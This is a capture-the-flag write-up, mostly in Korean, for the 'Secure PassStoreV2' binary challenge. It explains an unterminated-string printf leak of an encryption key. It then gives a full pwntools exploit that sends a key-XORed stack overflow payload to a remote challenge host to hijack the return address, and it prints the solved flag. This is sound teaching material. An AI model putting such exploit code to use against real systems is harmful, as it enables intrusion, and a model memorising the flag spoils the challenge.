InfoSec CTF 2022 - Secure PassStoreV2

Info

(8/219) solves

description

New! More secure! Latest version of Secure PassStoreV2! Url: 0.cloud.chals.io:15467

for player

1
2
.
└── passStoreV2
1
passStoreV2: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=1ff9162a72b5d184e7101eae1706a6eb6b57e374, for GNU/Linux 3.2.0, not stripped

Analysis

Mitigation

1
2
3
4
5
Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

Source Code

바로 전 문제인 version 1과의 차이는 하나다. 바로 key를 출력을 안해준다는 것.

Vulnerability

1
2
3
4
5
6
7
8
9
int changeName(void)
{
printf("Your name is ");
printf(username);
puts("Please type your name: ");
read(0, username, 0x20uLL);
printf("Your new name: ");
return printf(username);
}

printf는 null 바이트를 만나기 전까지 출력한다. 이를 이용해서 username 바로 뒤에 존재하는 key 값을 leak할 수 있다.

1
2
3
4
5
.bss:00000000004040A0 username        db 20h dup(?)           ; DATA XREF: addName(void)+18↑o
.bss:00000000004040A0 ; changeName(void)+18↑o ...
.bss:00000000004040C0 public key
.bss:00000000004040C0 key db ? ; ; DATA XREF: readPass(void)+6C↑o
.bss:00000000004040C0 ; addPass(void)+70↑o ...

Exploit

Exploit Scenario

  1. name을 0x20 바이트 꽉 채워 보내고 key 값 leak
  2. payload 작성 후 addPass 함수의 로직 구현

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

context.arch = 'amd64'
context.log_level = 'DEBUG'

e = ELF('./chall')
#p = process('./chall')
p = remote('0.cloud.chals.io', 15467)

name = b''
name += b'A' * 0x1f
name += b'B'

p.sendlineafter('name: \r\n', name)

p.sendlineafter('it\r\n', str(3))

p.recvuntil('B')
key = p.recvuntil('P')[:-1]
info(key)

p.sendlineafter('name: \r\n', name)

p.sendlineafter('it\r\n', str(1))

buf = b''
buf += b'A' * (0x30+0x8)
buf += p64(0x40160B) # 0x40160a
buf += b'\n'

src = []
for i in range(0, 255):
if buf[i] == 10:
break
src.append(key[i%8] ^ buf[i])

src = bytes(src)
pause()
p.sendline(src)


p.interactive()

Flag

1
flag{Pas5St0r3_15_n07_600d_50lu710n_;(}